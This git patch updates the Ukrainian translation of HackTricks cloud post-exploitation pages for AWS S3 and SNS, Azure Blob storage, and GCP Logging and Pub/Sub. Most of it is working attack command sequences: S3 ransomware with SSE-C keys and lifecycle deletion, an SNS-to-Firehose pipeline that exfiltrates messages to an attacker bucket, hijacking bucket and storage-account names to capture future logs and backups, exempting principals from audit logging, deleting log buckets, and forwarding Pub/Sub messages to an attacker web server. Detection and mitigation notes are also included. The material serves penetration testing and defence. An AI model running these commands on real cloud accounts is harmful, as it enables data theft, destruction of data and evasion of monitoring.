From 72838ba0097454f9f358ad16ea770417680705ae Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 25 Jun 2026 15:59:50 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

---
 .../aws-s3-post-exploitation/README.md        |  88 +++++++-----
 .../aws-sns-firehose-exfil.md                 |  34 +++--
 .../az-blob-storage-post-exploitation.md      |  37 ++++-
 .../gcp-logging-post-exploitation.md          |  54 ++++++--
 .../gcp-pub-sub-post-exploitation.md          |  85 ++++++++----
 .../gcp-storage-post-exploitation.md          |  55 ++++++--
 .../pentesting-cloud-methodology.md           | 127 +++++++++++-------
 7 files changed, 338 insertions(+), 142 deletions(-)

diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
index a8db345db..40b1776b4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -4,45 +4,45 @@
 
 ## S3
 
-For more information check:
+Для отримання додаткової інформації дивіться:
 
 {{#ref}}
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### Чутлива інформація
+### Sensitive Information
 
-Іноді можна знайти чутливу інформацію, доступну для читання в бакетах. Наприклад, секрети стану terraform.
+Іноді ви можете знайти чутливу інформацію, доступну для читання в buckets. Наприклад, terraform state secrets.
 
 ### Pivoting
 
-Різні платформи можуть використовувати S3 для зберігання чутливих активів.\
-Наприклад, **airflow** може зберігати там **DAGs** **code**, або **веб-сторінки** можуть безпосередньо обслуговуватись із S3. Зловмисник з правами запису може **modify the code** у бакеті, щоб **pivot** на інші платформи, або **takeover accounts**, модифікуючи JS-файли.
+Різні платформи можуть використовувати S3 для зберігання sensitive assets.\
+Наприклад, **airflow** може зберігати там **DAGs** **code**, або **web pages** можуть безпосередньо обслуговуватися з S3. Зловмисник із правами запису може **modify the code** у bucket, щоб **pivot** до інших платформ, або **takeover accounts**, змінюючи JS files.
 
 ### S3 Ransomware
 
-У цьому сценарії, **attacker creates a KMS (Key Management Service) key in their own AWS account** або в іншому скомпрометованому акаунті. Потім вони роблять цей **key accessible to anyone in the world**, дозволяючи будь-якому користувачу, ролі або акаунту AWS шифрувати об'єкти за допомогою цього ключа. Проте об'єкти не можуть бути розшифровані.
+У цьому сценарії **attacker creates a KMS (Key Management Service) key in their own AWS account** або іншому скомпрометованому акаунті. Потім вони роблять цей **key accessible to anyone in the world**, дозволяючи будь-якому AWS user, role або account шифрувати objects за допомогою цього key. Однак objects не можна розшифрувати.
 
-Attacker визначає цільовий **S3 bucket and gains write-level access** до нього різними шляхами. Це може бути наслідком поганої конфігурації бакету, яка робить його публічним, або же attacker отримує доступ до самого AWS середовища. Attacker зазвичай націлюється на бакети, що містять чутливу інформацію, таку як personally identifiable information (PII), protected health information (PHI), логи, резервні копії тощо.
+Зловмисник визначає цільовий **S3 bucket and gains write-level access** до нього різними методами. Це може бути наслідком поганої bucket configuration, яка робить його публічно доступним, або отримання зловмисником доступу до самого AWS environment. Зловмисник зазвичай націлюється на buckets, що містять чутливу інформацію, таку як personally identifiable information (PII), protected health information (PHI), logs, backups тощо.
 
-Щоб визначити, чи можна націлити бакет для ransomware, attacker перевіряє його конфігурацію. Це включає перевірку, чи увімкнено **S3 Object Versioning** та чи увімкнено **multi-factor authentication delete (MFA delete) is enabled**. Якщо Object Versioning не увімкнено, attacker може продовжити. Якщо Object Versioning увімкнено, але MFA delete вимкнено, attacker може **disable Object Versioning**. Якщо і Object Versioning, і MFA delete увімкнені, attacker важче провести ransomware для конкретного бакету.
+Щоб визначити, чи можна націлити bucket для ransomware, зловмисник перевіряє його configuration. Це включає перевірку, чи **S3 Object Versioning** увімкнено і чи **multi-factor authentication delete (MFA delete) is enabled**. Якщо Object Versioning не увімкнено, зловмисник може продовжити. Якщо Object Versioning увімкнено, але MFA delete вимкнено, зловмисник може **disable Object Versioning**. Якщо і Object Versioning, і MFA delete увімкнено, стає складніше провести ransomware саме для цього bucket.
 
-Використовуючи AWS API, attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. Це фактично шифрує дані в бакеті, роблячи їх недоступними без ключа.
+Використовуючи AWS API, зловмисник **replaces each object in the bucket with an encrypted copy using their KMS key**. Це фактично шифрує дані в bucket, роблячи їх недоступними без key.
 
-Щоб додати додаткового тиску, attacker планує видалення KMS ключа, використаного в атаці. Це дає цілі 7-денне вікно для відновлення даних до того, як ключ буде видалено і дані стануть назавжди втраченими.
+Щоб додатково посилити тиск, зловмисник планує видалення KMS key, використаного в атаці. Це дає цілі 7-денне вікно для відновлення даних до того, як key буде видалено і дані стануть назавжди втраченими.
 
-Нарешті, attacker може завантажити фінальний файл, зазвичай з іменем "ransom-note.txt", який містить інструкції для цілі про те, як повернути свої файли. Цей файл завантажується без шифрування, ймовірно, щоб привернути увагу цілі і повідомити про атаку ransomware.
+Нарешті, зловмисник може завантажити фінальний файл, зазвичай з назвою "ransom-note.txt," який містить інструкції для цілі щодо того, як отримати свої файли. Цей файл завантажується без encryption, ймовірно, щоб привернути увагу цілі та дати їй зрозуміти, що сталася ransomware attack.
 
 #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
 
-Інший варіант — зловживання **SSE-C** (S3 server-side encryption with **customer-provided keys**). З SSE-C **client provides the encryption key on every request** і **AWS does not store the key**. Це означає, що якщо attacker перезаписує об'єкти, використовуючи **their own SSE-C key**, дані жертви стають нечитабельними, якщо жертва не може надати цей ключ, контрольований attacker.
+Інший варіант — зловживання **SSE-C** (S3 server-side encryption with **customer-provided keys**). З SSE-C, **client provides the encryption key on every request** і **AWS does not store the key**. Це означає, що якщо зловмисник перепише objects, використовуючи **their own SSE-C key**, дані жертви стануть нечитабельними, якщо жертва не зможе надати цей attacker-controlled key.
 
-- **Preconditions:** Скомпрометовані AWS credentials (або будь-який principal з відповідними правами) та можливість **rewrite objects** (наприклад, `s3:PutObject` на цільових ключах/префіксах). Це часто поєднується з можливістю встановити руйнівні lifecycle policies (див. нижче), наприклад `s3:PutLifecycleConfiguration`.
+- **Preconditions:** Compromised AWS credentials (або будь-який principal із потрібними permissions) і можливість **rewrite objects** (наприклад, `s3:PutObject` на target keys/prefixes). Це часто поєднується з можливістю встановлювати destructive lifecycle policies (див. нижче), наприклад `s3:PutLifecycleConfiguration`.
 - **Attack chain:**
-1. Attacker генерує випадковий 256-бітний ключ (AES-256) і зберігає його.
-2. Attacker **rewrites** існуючі об'єкти (з тими ж ключами об'єктів) використовуючи SSE-C headers, так що збережений об'єкт тепер зашифрований attacker key.
-3. Victim не може завантажити/розшифрувати без надання SSE-C key (навіть якщо IAM permissions в порядку).
-4. Attacker може видалити ключ (або просто ніколи його не надати), щоб зробити дані невідновними.
+1. Attacker генерує випадковий 256-bit key (AES-256) і зберігає його.
+2. Attacker **rewrites** existing objects (same object keys), використовуючи SSE-C headers, тож збережений object тепер зашифрований key зловмисника.
+3. Victim не може завантажити/розшифрувати без надання SSE-C key (навіть якщо IAM permissions у порядку).
+4. Attacker може видалити key (або просто ніколи його не надавати), щоб зробити data unrecoverable.
 
 Example (conceptual) CLI usage:
 ```bash
@@ -56,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
 --sse-c AES256 \
 --sse-c-key <BASE64_32_BYTES>
 ```
-##### Додавання тиску: зловживання "таймером" життєвого циклу
+##### Додавання тиску: зловживання lifecycle "timer"
 
-Щоб усунути варіанти відновлення (наприклад, старі версії), нападники можуть поєднати перезаписи SSE-C з **правилами життєвого циклу**, які завершують термін дії об'єктів і/або видаляють noncurrent versions після короткого періоду:
+Щоб прибрати варіанти відновлення (наприклад, старі версії), attackers можуть поєднувати переписування SSE-C із **lifecycle rules**, які закінчують термін дії objects і/або видаляють noncurrent versions через короткий період:
 
-- `s3:PutLifecycleConfiguration` на bucket дозволяє атакувальнику запланувати видалення без виконання явних операцій delete для кожного object/version.
-- Це особливо ефективно, коли **versioning is enabled**, оскільки це може видалити "previous good version", яка в іншому випадку дозволила б відновлення.
+- `s3:PutLifecycleConfiguration` на bucket дозволяє attacker запланувати deletions без виконання явних delete operations для кожного object/version.
+- Це особливо впливає, коли **versioning is enabled**, бо може прибрати "previous good version", яка інакше дала б змогу recovery.
 
 ##### Detection & Mitigations
 
-- Віддавайте перевагу **SSE-KMS** (або SSE-S3) над SSE-C, якщо у вас немає вагомої операційної причини дозволяти SSE-C.
-- Моніторити/сповіщати про запити `PutObject`, що використовують заголовки SSE-C (CloudTrail data events for S3).
-- Моніторити/сповіщати про неочікувані `PutBucketLifecycleConfiguration` (зміни lifecycle).
-- Моніторити/сповіщати про раптові сплески активності перезапису (одні й ті самі keys оновлюються швидко) та видалення delete-marker/version.
-- Обмежуйте ризикові дозволи: лімітуйте `s3:PutObject` до необхідних префіксів; суворо обмежуйте `s3:PutLifecycleConfiguration` та `s3:PutBucketVersioning`; розгляньте вимогу MFA для чутливих адміністраторських дій (за потреби) та використовуйте окремі admin roles з погодженнями.
-- Постава відновлення: використовуйте **versioning**, **backups** та незмінні/офлайн копії (S3 replication to protected account, backup vaults тощо); захищайте noncurrent versions від агресивного видалення та контролюйте зміни lifecycle за допомогою SCPs / guardrails.
+- Надавайте перевагу **SSE-KMS** (або SSE-S3) замість SSE-C, якщо у вас немає вагомої operational причини дозволяти SSE-C.
+- Monitor/alert на `PutObject` requests із SSE-C headers (CloudTrail data events for S3).
+- Monitor/alert на неочікуваний `PutBucketLifecycleConfiguration` (lifecycle changes).
+- Monitor/alert на різкі spikes в overwrite activity (ті самі keys швидко оновлюються) і delete-marker/version deletions.
+- Обмежуйте high-risk permissions: Limit `s3:PutObject` до необхідних prefixes; жорстко обмежуйте `s3:PutLifecycleConfiguration` і `s3:PutBucketVersioning`; за можливості вимагайте MFA для sensitive admin actions (where applicable) і використовуйте окремі admin roles з approvals.
+- Recovery posture: Use **versioning**, **backups**, і immutable/offline copies (S3 replication to protected account, backup vaults, etc.); захищайте noncurrent versions від агресивного видалення та захищайте lifecycle changes за допомогою SCPs / guardrails.
 
 ### `s3:RestoreObject`
 
-Атакувальник з дозволом `s3:RestoreObject` може реанімувати об'єкти, заархівовані в Glacier або Deep Archive, роблячи їх тимчасово доступними. Це дозволяє відновлення та exfiltration історично архівованих даних (резервні копії, snapshots, логи, сертифікати, старі секрети), які зазвичай були б недоступні. Якщо атакувальник поєднає цей дозвіл з дозволами на читання (наприклад, `s3:GetObject`), він зможе отримати повні копії конфіденційних даних.
+Attackers із permission `s3:RestoreObject` можуть реактивувати objects, archived у Glacier або Deep Archive, роблячи їх тимчасово доступними. Це дає змогу recovery та exfiltration історично архівованих data (backups, snapshots, logs, certifications, old secrets), які зазвичай були б недосяжними. Якщо attacker поєднає цей permission із read permissions (наприклад, `s3:GetObject`), він може отримати повні копії sensitive data.
 ```bash
 aws s3api restore-object \
 --bucket <BUCKET_NAME> \
@@ -86,7 +86,7 @@ aws s3api restore-object \
 ```
 ### `s3:Delete*`
 
-Атакувальник із дозволом s3:Delete* може видаляти об'єкти, версії та цілі бакети, порушувати резервні копії та спричиняти миттєву й незворотну втрату даних, знищення доказів і компрометацію артефактів резервного копіювання або відновлення.
+Зловмисник із дозволом s3:Delete* може видаляти об’єкти, версії та цілі buckets, порушувати backups і спричиняти негайну та незворотну втрату даних, знищення evidence та компрометацію backup або recovery artifacts.
 ```bash
 # Delete an object from a bucket
 aws s3api delete-object \
@@ -103,6 +103,34 @@ aws s3api delete-object \
 aws s3api delete-bucket \
 --bucket <BUCKET_NAME>
 ```
-**Детальніше** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### Глобальне захоплення імені bucket’а для autonomous writers - `s3:DeleteBucket`
+
+Імена S3 bucket’ів є глобально унікальними. Якщо в обліковому записі жертви є automated writers, які продовжують доставляти дані до `arn:aws:s3:::<bucket-name>`, і attacker може очистити/видалити цей bucket, attacker може створити той самий bucket name в обліковому записі під контролем attacker і отримувати майбутні deliveries без зміни configuration upstream service.
+
+Серед good targets для review є S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains, що потрапляють у S3, а також custom backup або export jobs.
+```bash
+# Review S3 replication destinations on source buckets
+aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
+
+# Review Firehose S3 destinations
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME>
+
+# Empty and delete the target bucket, if permitted
+aws s3 rm s3://<BUCKET_NAME> --recursive
+aws s3api delete-bucket --bucket <BUCKET_NAME>
+
+# Recreate the same globally-unique name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Політика replacement bucket має дозволяти upstream writer створювати objects. Точний principal залежить від service: наприклад, IAM replication role, Firehose delivery role, або service principal, обмежений `aws:SourceArn` / `aws:SourceAccount`.
+
+**Potential Impact:** silent exfiltration майбутніх replicated objects, logs, telemetry, backups і pipeline artifacts до AWS account, контрольованого attacker.
+
+**Detection & Mitigation:** сповіщайте про видалення buckets, на які посилаються replication rules або delivery streams, monitor за `NoSuchBucket` delivery failures, за якими слідує recreation bucket, restrict `s3:DeleteBucket` для export destinations, і pin cross-account deliveries за допомогою strict bucket policies та ownership expectations.
+
+
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
index 8405785b4..e050f3b60 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -2,14 +2,14 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Зловживати протоколом підписки Firehose, щоб зареєструвати керований зловмисником Kinesis Data Firehose delivery stream на стандартній темі SNS жертви. Як тільки підписка налаштована і необхідна роль IAM довіряє `sns.amazonaws.com`, кожне наступне повідомлення надійно записується в S3 bucket зловмисника з мінімальним шумом.
+Abuse the Firehose subscription protocol to register an attacker-controlled Kinesis Data Firehose delivery stream on a victim SNS standard topic. Once the subscription is in place and the required IAM role trusts `sns.amazonaws.com`, every future notification is durably written into the attacker’s S3 bucket with minimal noise.
 
-## Вимоги
-- Права в обліковому записі зловмисника на створення S3 bucket, Firehose delivery stream та IAM role, яку використовує Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, тощо).
-- Можливість виконати `sns:Subscribe` на тему жертви (та опціонально `sns:SetSubscriptionAttributes`, якщо ARN ролі підписки надається після створення).
-- Політика теми, яка дозволяє принципалу зловмисника підписатися (або зловмисник уже працює в межах того самого облікового запису).
+## Requirements
+- Permissions in the attacker account to create an S3 bucket, Firehose delivery stream, and the IAM role used by Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- The ability to `sns:Subscribe` to the victim topic (and optionally `sns:SetSubscriptionAttributes` if the subscription role ARN is provided after creation).
+- A topic policy that allows the attacker principal to subscribe (or the attacker already operates inside the same account).
 
-## Кроки атаки (приклад у межах того самого облікового запису)
+## Attack Steps (same-account example)
 ```bash
 REGION=us-east-1
 ACC_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio
 sleep 90
 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
 ```
-## Прибирання
-- Видаліть підписку SNS, Firehose delivery stream, тимчасові IAM ролі/політики та S3 bucket зловмисника.
+## Cleanup
+- Видаліть SNS subscription, Firehose delivery stream, тимчасові IAM roles/policies та attacker S3 bucket.
 
-## Вплив
-**Можливий вплив**: Безперервна, довготривала ексфільтрація кожного повідомлення, опублікованого в цільовій темі SNS, у сховище під контролем зловмисника з мінімальним операційним слідом.
+## Impact
+**Potential Impact**: Безперервна, стійка exfiltration кожного message, опублікованого в targeted SNS topic, у attacker-controlled storage з мінімальним operational footprint.
+
+## Related Bucket-Name Hijack Variant
+
+If an existing SNS -> Firehose -> S3 chain already writes to a bucket and the attacker can delete that bucket, they may be able to recreate the same globally-unique S3 bucket name in an attacker-controlled account. Future Firehose deliveries can then land in the replacement bucket without changing the SNS subscription or Firehose stream configuration.
+```bash
+# Identify the Firehose S3 destination
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME> \
+--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
+
+# After deleting the original bucket, recreate the same name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Надайте Firehose delivery role доступ до replacement bucket, якщо role може записувати cross-account. Моніторте видалення bucket на Firehose destinations, delivery failures і неочікувані зміни bucket ownership.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index 6c8af3a76..3e02f06ac 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Storage Privesc
 
-Для отримання додаткової інформації про зберігання дивіться:
+Для отримання додаткової інформації про storage дивіться:
 
 {{#ref}}
 ../az-services/az-storage.md
@@ -12,7 +12,7 @@
 
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
 
-Принципал з цим дозволом зможе **переглядати** блоби (файли) всередині контейнера та **завантажувати** файли, які можуть містити **чутливу інформацію**.
+Принципал із цим permission зможе **list** blobs (files) всередині container і **download** файли, які можуть містити **sensitive information**.
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
 az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
 ```
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
 
-Принципал з цим дозволом зможе **записувати та перезаписувати файли в контейнерах**, що може дозволити йому завдати шкоди або навіть ескалувати привілеї (наприклад, перезаписати деякий код, збережений у блоці):
+Принципал із цим дозволом зможе **записувати та перезаписувати файли в containers**, що може дати йому змогу завдати шкоди або навіть підвищити привілеї (наприклад, перезаписати якийсь code, збережений у blob):
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
 az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
 ```
 ### \*/delete
 
-Це дозволить видаляти об'єкти всередині облікового запису зберігання, що може **перервати деякі сервіси** або змусити клієнта **втратити цінну інформацію**.
+Це дозволить видаляти об’єкти всередині storage account, що може **перервати роботу деяких служб** або змусити клієнта **втратити цінну інформацію**.
+
+### Захоплення імені storage account для diagnostic exports
+
+Імена Azure Storage account є глобально унікальними. Деякі автономні експорти, такі як Azure Monitor diagnostic settings, продовжують записувати logs або metrics у налаштований storage account. Якщо атакувальник може видалити цей storage account і створити його з тим самим іменем у subscription, контрольованій атакувальником, у межах того самого tenant, подальша експортована telemetry може доставлятися до замінного облікового запису без зміни diagnostic setting.
+
+Це особливо цікаво, коли атакувальник має destructive permissions, такі як `Microsoft.Storage/storageAccounts/delete`, але не може оновити monitored resource або його diagnostic settings.
+
+Для цього потрібно, щоб ім’я storage account було звільнене для повторного використання. На практиці Azure storage account soft delete / recovery protections можуть затримати або запобігти негайному повторному використанню, особливо між tenant.
+```bash
+# Find diagnostic settings that write to a storage account
+az monitor diagnostic-settings list \
+--resource <RESOURCE_ID> \
+--query '[].{name:name,storageAccountId:storageAccountId}'
+
+# Delete the storage account, if permitted
+az storage account delete \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <RESOURCE_GROUP>
+
+# Recreate the same globally-unique storage account name
+az storage account create \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <ATTACKER_RESOURCE_GROUP> \
+--location <LOCATION> \
+--sku Standard_LRS
+```
+**Потенційний вплив:** довготривала exfiltration майбутніх logs, metrics, audit data та diagnostic archives до subscription, контрольованої attacker'ом.
+
+**Detection & Mitigation:** налаштуйте alert на видалення storage accounts, на які посилаються diagnostic settings, inventory diagnostic settings із `storageAccountId`, monitor для dangling destinations, і жорстко обмежте destructive permissions на logging/archive storage accounts.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index cef163d77..76ecb931d 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -2,15 +2,15 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Основна інформація
+## Basic Information
 
-Для отримання додаткової інформації див.:
+Для отримання додаткової інформації дивіться:
 
 {{#ref}}
 ../gcp-services/gcp-logging-enum.md
 {{#endref}}
 
-Для інших способів порушення моніторингу перегляньте:
+Для інших способів порушити monitoring дивіться:
 
 {{#ref}}
 gcp-monitoring-post-exploitation.md
@@ -18,17 +18,17 @@ gcp-monitoring-post-exploitation.md
 
 ### Default Logging
 
-**За замовчуванням вас не зафіксують лише за виконання операцій читання. Для додаткової інформації див. секцію Logging Enum.**
+**За замовчуванням вас не спіймають лише за виконання read actions. Для більшої інформації дивіться розділ Logging Enum.**
 
 ### Add Excepted Principal
 
-У [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) та [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) можна додати принципалів, для яких не генеруються логи. Зловмисник може зловживати цим, щоб уникнути виявлення.
+У [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) та [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) можна додати principals, щоб вони не генерували logs. Зловмисник може зловживати цим, щоб не бути спійманим.
 
-### Читання логів - `logging.logEntries.list`
+### Read logs - `logging.logEntries.list`
 
 <details>
 
-<summary>Перегляд записів логів</summary>
+<summary>Read log entries</summary>
 ```bash
 # Read logs
 gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -51,11 +51,11 @@ gcloud logging logs delete <log-name>
 ```
 </details>
 
-### Запис логів - `logging.logEntries.create`
+### Записувати логи - `logging.logEntries.create`
 
 <details>
 
-<summary>Додати запис журналу</summary>
+<summary>Записати log entry</summary>
 ```bash
 # Write a log entry to try to disrupt some system
 gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
@@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
 
 <details>
 
-<summary>Оновити період зберігання журналів у bucket</summary>
+<summary>Оновити строк зберігання log bucket</summary>
 ```bash
 # Set retention period to 1 day (_Required has a fixed one of 400days)
 
@@ -78,7 +78,7 @@ gcloud logging buckets update bucketlog --location=<location> --description="New
 
 <details>
 
-<summary>Видалити bucket логів</summary>
+<summary>Видалити log bucket</summary>
 ```bash
 # Delete log bucket
 gcloud logging buckets delete BUCKET_NAME --location=<location>
@@ -122,7 +122,7 @@ gcloud logging views update <view-id> --log-filter="resource.type=gce_instance"
 
 <details>
 
-<summary>Оновити метрики на основі логів</summary>
+<summary>Оновити log-based metrics</summary>
 ```bash
 # Update log based metrics - logging.logMetrics.update
 gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
@@ -133,7 +133,7 @@ gcloud logging metrics update <metric-name> --description="Changed metric descri
 
 <details>
 
-<summary>Видалити метрики на основі логів</summary>
+<summary>Видалити log-based metrics</summary>
 ```bash
 # Delete log based metrics - logging.logMetrics.delete
 gcloud logging metrics delete <metric-name>
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
 ```
 </details>
 
+### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
+
+Cloud Logging sinks можуть безперервно експортувати logs до destination Cloud Storage, наприклад `storage.googleapis.com/<bucket-name>` або `storage.googleapis.com/<bucket-name>/<prefix>`. Якщо attacker може видалити destination bucket, але не може оновити sink, він все одно може перенаправити майбутні експортовані logs, повторно створивши той самий globally-unique bucket name у project під контролем attacker-а.
+
+Це корисно, коли compromised principal має destructive storage permissions, такі як `storage.buckets.delete`, `storage.objects.delete` і `storage.objects.list`, але не має `logging.sinks.update`.
+```bash
+# Find sinks that export to Cloud Storage
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,disabled,writerIdentity)'
+
+# Empty and delete the destination bucket, if permitted
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name in the attacker-controlled project
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Allow the sink writer identity to write objects into the replacement bucket
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** тихе довгострокове exfiltration майбутніх audit logs, application logs, security telemetry і будь-яких інших events, що відповідають sink filter.
+
+**Detection & Mitigation:** alert на видалення buckets, на які посилаються active sinks, inventory sink destinations на наявність dangling bucket names, обмежуйте `storage.buckets.delete` для logging destinations і, де можливо, захищайте export buckets за допомогою retention/hold controls.
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index 6b8fdc640..d7ab82105 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Pub/Sub
 
-Для отримання додаткової інформації про Pub/Sub перегляньте наступну сторінку:
+Для отримання додаткової інформації про Pub/Sub перегляньте таку сторінку:
 
 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@
 
 ### `pubsub.topics.publish`
 
-Публікує повідомлення в topic, корисно для **надсилання несподіваних даних** та ініціювання несподіваної поведінки або експлуатації вразливостей:
+Опублікувати message в topic, корисно для **надсилання unexpected data** і запуску unexpected functionalities або експлуатації vulnerabilities:
 
 <details>
 
-<summary>Опублікувати повідомлення в topic</summary>
+<summary>Publish message to topic</summary>
 ```bash
 # Publish a message in a topic
 gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
 
 ### `pubsub.topics.detachSubscription`
 
-Корисно, щоб запобігти отриманню підпискою повідомлень, наприклад для уникнення виявлення.
+Корисно, щоб запобігти отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.
 
 <details>
 
-<summary>Від'єднати підписку від topic</summary>
+<summary>Від’єднати підписку від topic</summary>
 ```bash
 gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 ```
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.topics.delete`
 
-Корисно, щоб запобігти отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.\
-Можна видалити топік навіть якщо до нього приєднані підписки.
+Корисно, щоб запобігти отриманню повідомлень subscription, можливо, щоб уникнути виявлення.\
+Можна видалити topic навіть якщо до нього прив’язані subscriptions.
 
 <details>
 
-<summary>Видалити топік</summary>
+<summary>Delete topic</summary>
 ```bash
 gcloud pubsub topics delete <TOPIC NAME>
 ```
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
 
 ### `pubsub.topics.update`
 
-Використовуйте цей дозвіл, щоб змінити деякі налаштування теми й порушити її роботу, наприклад `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+Використайте цей permission, щоб оновити будь-яке налаштування topic і порушити його роботу, наприклад `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
 
 ### `pubsub.topics.setIamPolicy`
 
-Надайте собі дозвіл виконувати будь-яку з попередніх атак.
+Надайте собі permission, щоб виконати будь-яку з попередніх атак.
 ```bash
 # Add Binding
 gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -84,7 +84,7 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
 ```
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
 
-Отримати всі повідомлення на веб-сервері:
+Отримати всі повідомлення в web server:
 
 <details>
 
@@ -95,11 +95,11 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
 ```
 </details>
 
